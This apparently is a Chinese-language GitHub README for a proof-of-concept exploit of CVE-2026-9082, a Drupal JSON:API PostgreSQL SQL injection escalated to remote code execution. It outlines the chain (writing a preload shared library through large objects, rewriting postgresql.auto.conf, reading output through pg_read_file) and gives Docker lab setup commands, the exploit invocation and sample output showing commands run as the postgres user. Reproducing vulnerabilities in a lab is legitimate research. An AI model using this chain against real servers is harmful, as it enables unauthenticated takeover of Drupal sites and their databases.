evidencebasedvulnerability/cve-2026-9082-drupal

GitHub: evidencebasedvulnerability/cve-2026-9082-drupal

该项目提供了一个基于 Docker 的本地实验环境和利用脚本,用于复现 Drupal JSON:API PostgreSQL SQL 注入漏洞从注入到远程代码执行的完整利用链。

Stars: 0 | Forks: 0

# CVE-2026-9082 Drupal PostgreSQL SQLi 到 RCE 此仓库包含了一个本地实验环境以及一段简短的漏洞利用代码,用于复现 Ambionics 文章中描述的 Drupal JSON:API PostgreSQL SQL 注入。 该漏洞利用的核心部分在于 PostgreSQL 的提权:一旦注入能够以 PostgreSQL 超级用户的身份执行 `SELECT` 表达式,它就会通过大对象(large objects)写入一个原生预加载库,重新加载 `postgresql.auto.conf`,触发 `session_preload_libraries`,并使用 `pg_read_file()` 获取命令输出。 该漏洞利用代码首先会读取 `version()`,并为检测到的大版本构建相应的 PostgreSQL 模块 magic block。它能够处理 PostgreSQL 12、13-14、15-17 和 18+ 的模块 ABI 布局。本地编译器仍然必须生成与目标 PostgreSQL 服务器具有相同 CPU 架构的共享对象。 该实验环境使用的是 PostgreSQL 18.4,这也是撰写本文时最新的 PostgreSQL 版本。该 PostgreSQL 提权路径已经过从 PostgreSQL 12.20 到 PostgreSQL 18.4 的测试。 ## 目录 ``` . ├── docker-compose.yml ├── drupal/ │ ├── Dockerfile │ ├── entrypoint.sh │ └── seed-content.php ├── drupal-postgres-preload-rce.py ├── requirements.txt └── README.md ``` 该实验环境使用了: ``` Drupal 10.4.9 PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) PHP 8.3 / Apache ``` Drupal 使用 `postgres` 超级用户连接到 PostgreSQL,因此仅支持 `SELECT` 的 SQL 注入可以被提权至 RCE。 ## 环境要求 ``` docker compose version python3 --version cc --version ``` 示例输出: ``` Docker Compose version v2.37.3 Python 3.12.3 cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0 ``` ## 启动实验环境 构建并启动容器: ``` docker compose build --quiet docker compose up -d ``` 预期输出: ``` Container cve9082-pg18 Started Container cve9082-drupal Started ``` 等待 Drupal 健康检查通过: ``` docker compose ps ``` 预期输出: ``` NAME SERVICE STATUS cve9082-pg18 db Up ... (healthy) cve9082-drupal drupal Up ... (healthy) ``` 该实验环境监听于: ``` http://127.0.0.1:8089 ``` ## 验证实验环境 检查 PostgreSQL 版本: ``` docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()' ``` 预期输出: ``` PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit ``` 检查 JSON:API 是否暴露了已填充的文章: ``` curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p' ``` 预期输出: ``` { "jsonapi": { "version": "1.0" }, "data": [ { "type": "node--article" } ] } ``` ## 安装 Python 依赖 ``` python3 -m venv .venv . .venv/bin/activate pip install -r requirements.txt ``` 预期输出: ``` Successfully installed requests-... ``` ## 运行漏洞利用 通过无需身份验证的 JSON:API SQL 注入执行 `id`: ``` python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id ``` 预期输出: ``` [+] checking SQL injection context version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit current_user: postgres superuser=True data_directory: /var/lib/postgresql/18/docker module_abi: PostgreSQL 18 magic=1800 layout=pg18 [+] built PostgreSQL 18 preload module (14080 bytes) [+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so 1400/14080 bytes ... 14080/14080 bytes [+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf 189/189 bytes [+] reloading PostgreSQL configuration [+] triggering a fresh backend [+] reading command output uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) __exit=0 [+] restoring/clearing PostgreSQL preload settings 152/152 bytes ``` 运行另一条命令: ``` python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a' ``` 预期输出: ``` [+] reading command output Linux ... x86_64 GNU/Linux __exit=0 ``` ## 停止实验环境 停止容器但保留数据库卷: ``` docker compose down ``` 停止容器并删除数据库卷: ``` docker compose down -v ```
标签:CISA项目, 安全, 测试用例, 版权保护, 编程工具, 请求拦截, 超时处理, 远程代码执行, 逆向工具